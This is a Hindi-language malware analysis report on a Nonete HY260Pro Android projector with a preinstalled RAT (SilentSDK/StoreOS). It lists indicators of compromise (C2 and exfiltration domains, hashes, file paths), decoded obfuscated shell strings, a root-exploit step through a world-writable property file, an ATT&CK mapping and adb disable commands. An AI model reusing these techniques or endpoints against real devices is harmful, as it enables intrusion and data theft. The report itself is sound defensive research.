StoreOS-APK: BitDefender Android.Riskware.TestKey.rB का पता लगाता है; कोई अन्य एंटी-वायरस इंजन अलर्ट ट्रिगर नहीं करता।
api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server
### नेटवर्क सिग्नेचर```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003 # SilentSDK Signature
POST /sign/app/list # StoreOS C2 Beacon
POST /report # EventUpload Telemetry
com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk
### फ़ाइल सिस्टम```text
/system/bin/qw # su Binary
/dev/com.koushikdutta.superuser.daemon/server # su Socket
/oem/customer.prop # World-writable
/vendor/bin/dbgserver # HW-Debug
/dev/hidtvreg # World-writable
assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload
---
## 16. MITRE ATT&CK मैपिंग
| तकनीक | आईडी | सबूत |
|:---|:---|:---|
| आपूर्ति श्रृंखला समझौता | T1195.002 | मैलवेयर फैक्ट्री पूर्व-स्थापित |
| बूट या लॉगऑन ऑटोस्टार्ट निष्पादन | T1547 | BootReceiver Priority 999 |
| अस्पष्ट फ़ाइलें या जानकारी | T1027 | XOR Strings, DEX Packing, embedded XOR-encrypted asset |
| एप्लिकेशन लेयर प्रोटोकॉल | T1071 | HTTP/HTTPS C2 |
| डायनेमिक डेटा एक्सचेंज / पेलोड इंजेक्शन | T1055 | DexClassLoader, chmod 777 |
| सिस्टम सूचना खोज | T1082 | डिवाइस फिंगरप्रिंटिंग, Bot-ID उत्पादन |
| स्थानीय सिस्टम से डेटा | T1005 | MAC, Serial, IMEI, android_id |
| C2 चैनल के माध्यम से डेटा निष्कासन | T1041 | आवधिक टेलीमेट्री `bur.thedynamicleap.com` को |
| मास्करेडिंग | T1036 | .bpp फ़ाइल एक्सटेंशन, ADT-3 स्पूफिंग |
| रूटकिट | T1014 | छिपा हुआ su बाइनरी |
| इनपुट कैप्चर | T1056 | बैक बटन को दबाने के लिए KeyEvent इंटरसेप्शन |
| संकेतक हटाना / स्व-हटाना | T1070 | `isSilentUninstall: true` क्षमता |
| रिफ्लेक्टिव कोड लोडिंग | T1620 | Reflective DexClassLoader instantiation |
| सिस्टम विंडो ओवरले | T1624 | अदृश्य ओवरले के लिए SoftInputMode मैनिपुलेशन |
---
## 17. तत्काल शमन
### प्रभावित अंतिम उपयोगकर्ताओं के लिए```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate
store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com
---
## 18. स्रोत
1. Zane St. John: "प्री-इंस्टॉल्ड एंड्रॉइड मैलवेयर का क्लॉड कोड के साथ रिवर्स-इंजीनियरिंग", जनवरी 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI ने IoT उपकरणों पर प्री-इंस्टॉल्ड मैलवेयर के खिलाफ चेतावनी दी" (BADBOX), अक्टूबर 2023.
3. StoreOS APK का VirusTotal विश्लेषण।
---
**विश्लेषण अवधि:** अप्रैल 11–17, 2026
**अस्वीकरण**
केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए। यह रिपोर्ट साइबर सुरक्षा खतरों के संबंध में सूचनात्मक उद्देश्यों के लिए "ज्यों का त्यों" प्रदान की गई है। विश्लेषण वर्तमान मैलवेयर पारिस्थितिकी तंत्र के एक स्नैपशॉट पर आधारित है; चूंकि रिवर्स इंजीनियरिंग एक सतत प्रक्रिया है, नए डेटा उपलब्ध होने पर निष्कर्ष बदल सकते हैं।
यह रिपोर्ट बाइनरी डेटा और डीकंपाइल्ड स्रोत कोड के विश्लेषण के आधार पर, सद्भावना और मेरी जानकारी के अनुसार संकलित की गई है। उच्च स्तर के अस्पष्टीकरण और खतरे की विकसित होती प्रकृति के कारण, ये निष्कर्ष अनुसंधान की वर्तमान स्थिति का प्रतिनिधित्व करते हैं। जबकि साक्ष्य निकाले गए निष्कर्षों का दृढ़ समर्थन करता है, वे आगे के तकनीकी साक्ष्य उजागर होने पर परिशोधन के अधीन हैं।
| गुण | मान |
|---|
| ब्रांड नाम | Nonete HY260Pro (कई कंपनियों द्वारा बेचा गया मॉडल) |
| आंतरिक मॉडल नाम | NT10 |
| SoC | Allwinner sun50iw12p1 (ARM 32-बिट) |
| ऑपरेटिंग सिस्टम | SpectraOS (Android 11, कर्नेल 5.4.99) |
| वास्तविक बिल्ड फिंगरप्रिंट | Allwinner/h713_tuna_p3/h713-tuna_p3:11 |
| स्पूफ़्ड बिल्ड फिंगरप्रिंट | ADT-3/adt3/adt3:11/RP1A.201005.006 |
| SELinux | अनुमेय (कोई प्रवर्तन नहीं) |
| प्लेटफॉर्म हस्ताक्षर कुंजी | सार्वजनिक AOSP परीक्षण कुंजी |
| OEM प्रमाणपत्र | CN=蓝鲨, OU=www.bsh.me, C=CN |
| फर्मवेयर चैनल | HY260Pro_SpectraOS_TPYB |
| कदम | कार्रवाई | परिणाम |
|---|
| 1 | नेटवर्क ट्रैफिक का Wireshark कैप्चर | store-api.aodintech.com को HTTP ट्रैफिक |
| 2 | gzip-संपीड़ित C2 प्रतिक्रिया का डिकोडिंग | 7 ऐप्स, जिनमें छिपा हुआ "SilentTools" शामिल है |
| 3 | डाउनलोड पथ का AES-CBC डिक्रिप्शन | कुंजी [REDACTED], .bpp फ़ाइल का URL |
| 4 | /oem/customer.prop के माध्यम से रूट एक्सप्लॉइट | प्रॉपर्टी इंजेक्शन के बाद uid=0(root) |
| 5 | /data, /oem, /system का फोरेंसिक डंप | APKs, डेटाबेस, कॉन्फ़िगरेशन |
| 6 | StoreOS DEX का स्थैतिक विश्लेषण | pm install -r -d, बाइट-रिवर्सल सुरक्षा |
| 7 | reverseLen तंत्र का रिवर्स इंजीनियरिंग | एंटी-विश्लेषण सुरक्षा की समझ |
| 8 | बाइट-रिवर्सल सुरक्षा को तोड़ना | डिक्रिप्टेड, विश्लेषण योग्य SilentSDK DEX |
| 9 | SilentSDK स्ट्रिंग्स का XOR डिक्रिप्शन | C2 डोमेन api.pixelpioneerss.com की पुष्टि |
| 10 | तीन स्रोतों में हैश सत्यापन | MD5/SHA-256 पूरी तरह मेल खाते हैं |
| 11 | मैलवेयर डाउनलोड प्रक्रिया का रिवर्स इंजीनियरिंग | सर्वर अभी भी ऑनलाइन हैं |
| 12 | मैलवेयर का रिवर्स इंजीनियरिंग | प्लगइन-आधारित RAT फ्रेमवर्क |
| App | Package | isShow | isForce | isSilent Install | isSilent Uninstall | launch Type |
|---|
| YouTube | com.google.android.youtube.tv | true | false | false | false | 0 |
| Disney+ | com.disney.disneyplus | true | false | false | false | 0 |
| Netflix | com.netflix.mediaclient | true | false | false | false | 0 |
| Chrome | com.android.chrome | true | false | false | false | 0 |
| Prime Video | com.amazon.amazonvideo.livingroom | true | false | false | false | 0 |
| BrowseHere | com.tcl.browser | true | false | false | false | 0 |
| SilentTools | com.hotack.silentsdk | false | true | false | true | 1 |
| Obfuscated Call | Result | Function |
|---|
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...}) | api.pixelpioneerss.com | C2 डोमेन |
m36g({7,-68}, {116,-44,...}) | sh | Runtime.exec() के लिए शेल बाइनरी |
m36g({-83,-92,-19,...}, {-50,-52,...}) | chmod 777 | शेल कमांड |
m36g({-47,-3,-68,106,-76}, {-1,-119,...}) | .temp | डाउनलोड के लिए टेम्प फ़ाइल सफ़िक्स |
m36g({125,61,58,...}, {21,73,78,...}) | https:// | प्राथमिक प्रोटोकॉल |
m36g({0,90,58,...}, {104,46,78,...}) | http:// | SSL त्रुटि पर फ़ॉलबैक |
m36g({-22,78,57}, {-71,29,117,...}) | SSL | TLS प्रोटोकॉल |
m36g({-15}, {-112,...}) | a | कस्टम हेडर नाम → मान 1003 |
m36g({17,67,42}, {124,39,...}) | md5 | MessageDigest.getInstance("md5") |
m36g({-15,90,-128,21}, {-122,51,...}) | wifi | getSystemService("wifi") |
m36g({-48,89,-25,-31,...}, {-73,60,...}) | getprop wifi.interface | शेल फ़ॉलबैक: इंटरफ़ेस नाम पढ़ें |
m36g({-95,-26,-107,-91,...}, {-62,-121,...}) | cat /sys/class/net/ | शेल फ़ॉलबैक: MAC पढ़ें (प्रीफ़िक्स) |
m36g({6,-88,45,-126,...}, {41,-55,...}) | /address | शेल फ़ॉलबैक: MAC पढ़ें (सफ़िक्स) |
m36g({10,39,105,25,...}, {58,21,...}) | 02:00:00:00:00:00 | Android फ़ेक-MAC सेंटिनल (API 23+) |
| पोर्ट | UID | विवरण |
|---|
| 65528 | root (0) | su डेमॉन |
| 5555 | root (0) | प्रमाणीकरण के बिना ADB |
| 7889/7890 | system (1000) | अज्ञात सेवा |
| 10012/10013 | system (1000) | फ़ैक्टरी डीबग? |
| सर्वर | एंडपॉइंट | कार्य |
|---|
store-api.aodintech.com | POST /sign/app/list | ऐप वितरण |
sta.smartinnovate.net | GET /*.jar | पेलोड वितरण |
cdn-store.aodintech.com | GET /*.bpp | APK डाउनलोड |
event-api.aodintech.com | POST /report | टेलीमेट्री |
api.pixelpioneerss.com | POST /(random) | SilentSDK RAT C2 |
bur.thedynamicleap.com | POST (GZIP+AES) | SilentSDK टेलीमेट्री बहिर्वेशन |
pb-api.aodintech.com | GET /api/collections/... | विज्ञापन कॉन्फ़िगरेशन |
ota.triplesai.com:8080 | POST /V1/Ota/Check | फ़र्मवेयर अपडेट |
api.ipdatacloud.com | GET /v2/query | IP भू-स्थान |
euads-o.api.leiniao.com | — | द्वितीयक विज्ञापन सर्वर |
connect.rom.miui.com | — | Xiaomi टेलीमेट्री |
| वास्तविक मान |
|---|
ro.build.fingerprint | ADT-3/adt3/adt3:11 | — |
ro.product.build.* | — | Allwinner/h713_tuna_p3 |
| निर्माण तिथि | — | मंगल 22 अप्रैल 15:20 CST 2025 |
| SHA-256 |
|---|
| C2 सर्वर प्रतिक्रिया | 5df097591d694... | — |
| हमारा डिकोड किया गया APK | 5df097591d694... | e5a193c31526a... |
| बाहरी विश्लेषण | — | e5a193c31526a... |